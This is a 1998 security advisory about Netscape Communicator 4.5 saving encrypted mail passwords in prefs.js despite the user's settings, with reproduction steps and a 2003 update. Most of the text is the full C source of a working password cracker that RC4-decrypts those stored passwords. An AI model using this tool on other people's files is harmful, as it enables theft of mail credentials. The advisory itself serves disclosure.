10th Nov 1998 [SBWID-4448]
COMMAND
netscape
SYSTEMS AFFECTED
Netscape Communicator 4.5 (all systems)
PROBLEM
Holger van Lengerich found following. The Netscape Communicator
4.5 stores the crypted version of used mail-passwords (for imap
and pop3) even if you tell Netscape to *not* "remember password"
in the preferences dialog. This means, that anybody who can read
your preferences.js ("prefs.js" in the MS dominion) is problably
able to read your mail or even get your plaintext-password.
How to reproduce:
- start Communicator
- be sure "remember password" is disabled in the preferences
dialog for the "Incoming Mail Server".
- get mails from Server (you get asked for your mail-password)
- exit Communicator
- edit preferences.js in $HOME/.netscape (MS-Users: prefs.js
in your NS-Profile-Path)
- search for something like:
------
user_pref("mail.imap.server.mail.password", "cRYpTPaSswD=");
user_pref("mail.imap.server.mail.remember_password", false);
------
- Now change "false" to "true".
- Save the file
- Start Communicator
- get mails
... now you are not asked for any password but can read all your
mail! This was tested on SunOS, Linux (glibc2) and MS WinNT.
Note that only IMAP-Passwords are stored in the preferences.js
after the Communicator process is correctly terminated. POP
passwords are stored in preferences.js, at the first time you
fetch mail from the server and cleared at Communicator exit. This
happened using C4.5 on Sun Solaris. Even this is a security
problem:
- Using an multiuser-OS like Unix: an evil user may access the
preferences file, while you are working with Communicator.
- Files may be accessible via network shares.
- In a crash situation the password may not be cleared from
the preferences.js
- In this case the "Quality Feedback Agent" (QFA) may, if you
allow him to do so, transfer the preferences.js (w. crypted
password) via Internet, (readable at any host on the way to
Netscape Corp.)
Be aware that the encryption of the password gives *NO* security.
You don't need to know the decryption-algorithm, because
Communicator itself can do the decryption for you. By using a
packet sniffer (like HD-MOORE) or setting up a patched
IMAP-/POP-Server with a password logging facility, you can easily
get the plaintext-passwords.
Update (01 March 2003)
======
Nicolas RUFF posted :
--snip--
I know some people have already noticed that the password is XOR-ed
with a constant byte stream, but as far as I know nobody documented
that this stream was RC4-generated.
--snap--
-----------------------------------
Nicolas RUFF
Security Consultant / EdelWeb
-----------------------------------
//
// NetsCrack.cpp : Netscape 4.x POP Passwords Cracker
// Tested against Netscape 4.5
// C0ded by Nicolas RUFF / EdelWeb
// You may freely distribute this source code unmodified
//
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
/* ---------------------------------------------------------------- */
// The "original" RC4 algorithm source code
/* rc4.h */
typedef struct rc4_key
{
unsigned char state[256];
unsigned char x;
unsigned char y;
} rc4_key;
void prepare_key(unsigned char *key_data_ptr,int key_data_len, rc4_key
*key);
void rc4(unsigned char *buffer_ptr,int buffer_len,rc4_key * key);
static void swap_byte(unsigned char *a, unsigned char *b);
/* r4.c */
void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key
*key)
{
unsigned char swapByte;
unsigned char index1;
unsigned char index2;
unsigned char* state;
short counter;
state = &key->state[0];
for (counter = 0; counter < 256; counter++)
state[counter] = counter;
key->x = 0;
key->y = 0;
index1 = 0;
index2 = 0;
for(counter = 0; counter < 256; counter++)
{
index2 = (key_data_ptr[index1] + state[counter] + index2) % 256;
swap_byte(&state[counter], &state[index2]);
index1 = (index1 + 1) % key_data_len;
}
}
void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key)
{
unsigned char x;
unsigned char y;
unsigned char* state;
unsigned char xorIndex;
short counter;
x = key->x;
y = key->y;
state = &key->state[0];
for(counter = 0; counter < buffer_len; counter ++)
{
x = (x + 1) % 256;
y = (state[x] + y) % 256;
swap_byte(&state[x], &state[y]);
xorIndex = (state[x] + state[y]) % 256;
buffer_ptr[counter] ^= state[xorIndex];
}
key->x = x;
key->y = y;
}
static void swap_byte(unsigned char *a, unsigned char *b)
{
unsigned char swapByte;
swapByte = *a;
*a = *b;
*b = swapByte;
}
/* ----------------------------------------------------------------- */
// Quick and dirty base64 decoding
unsigned char transcode( unsigned char c ) {
if ((c >= 'A') && (c <= 'Z'))
return (c - 'A');
if ((c >= 'a') && (c <= 'z'))
return (c - 'a' + 26);
if ((c >= '0') && (c <= '9'))
return (c - '0' + 52);
if (c == '+')
return 62;
if (c == '/')
return 63;
if (c == '=')
return 0;
printf("transcode error\n");
return 0;
}
void decode64( unsigned char a, unsigned char b, unsigned char c,
unsigned char d, unsigned char *dst ) {
unsigned char x, y, z;
// Transcode { A-Z a-z 0-9 + / } -> ...
// 'A'=65 'a'=97 '0'=48 '+'=43 '/'=47
x = transcode(a);
y = transcode(b);
z = transcode(c);
x = ( (transcode(a)) << 2 ) + ( ((transcode(b)) & 0x30) >>
4); // pattern = 00110000
y = ( ((transcode(b)) & 0x0F) << 4 ) + ( ((transcode(c)) & 0x3C) >>
2); // pattern = 00001111, 00111100
z = ( ((transcode(c)) & 0x03) << 6 ) + ( (transcode(d)) );
dst[0] = x;
dst[1] = y;
dst[2] = z;
}
/* ---------------------------------------------------------------- */
// Main()
int main(int argc, char* argv[])
{
char szPwd[256];
unsigned char szClear[256];
int i,j;
// Netscape "Magic" Key
unsigned char key_data[] = { 0xD0, 0x86, 0x9C, 0xDE, 0xC6, 0xEE, 0xEB,
0x3E };
rc4_key key;
// [0x00 ... 0x3F] and [0x80 ... 0xFF] : no substitution
// [0x40 ... 0x7F] use substitution table below
// Surprisingly T*T = Id :-)
unsigned char table[] = {
0x40, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x41, 0x42,
0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D,
0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x61, 0x62,
0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D,
0x7B, 0x7C, 0x7D, 0x7E, 0x7F
};
printf("Enter registry encrypted password :");
gets(szPwd);
if (strlen(szPwd) > 0) {
/* --------------- REGISTRY ENCRYPTION --------------- */
strrev(szPwd);
for (i=0; i<strlen(szPwd); i++) {
if ((szPwd[i] >= 0x40) && (szPwd[i] < 0x80))
szPwd[i] = table[szPwd[i] - 0x40];
}
printf("File password : %s\n", szPwd);
}
else {
printf("Enter file encrypted password :");
gets(szPwd);
}
/* --------------- FILE ENCRYPTION --------------- */
/* ATOB_AsciiToData() */
j=0;
for (i=0; i<strlen(szPwd); i+=4) {
decode64(szPwd[i], szPwd[i+1], szPwd[i+2], szPwd[i+3], &(szClear[j]));
j += 3;
}
szClear[j] = '\0';
/* RC4_Decrypt */
prepare_key( key_data, 8, &key);
rc4( szClear, strlen((char *)szClear), &key );
printf("Clear text password : %s\n", szClear);
return 0;
}
SOLUTION
Don't use Communicator 4.5 to fetch mails from your IMAP/POP
server or be very sure that no one can read your
Netscape-preferences-file!!!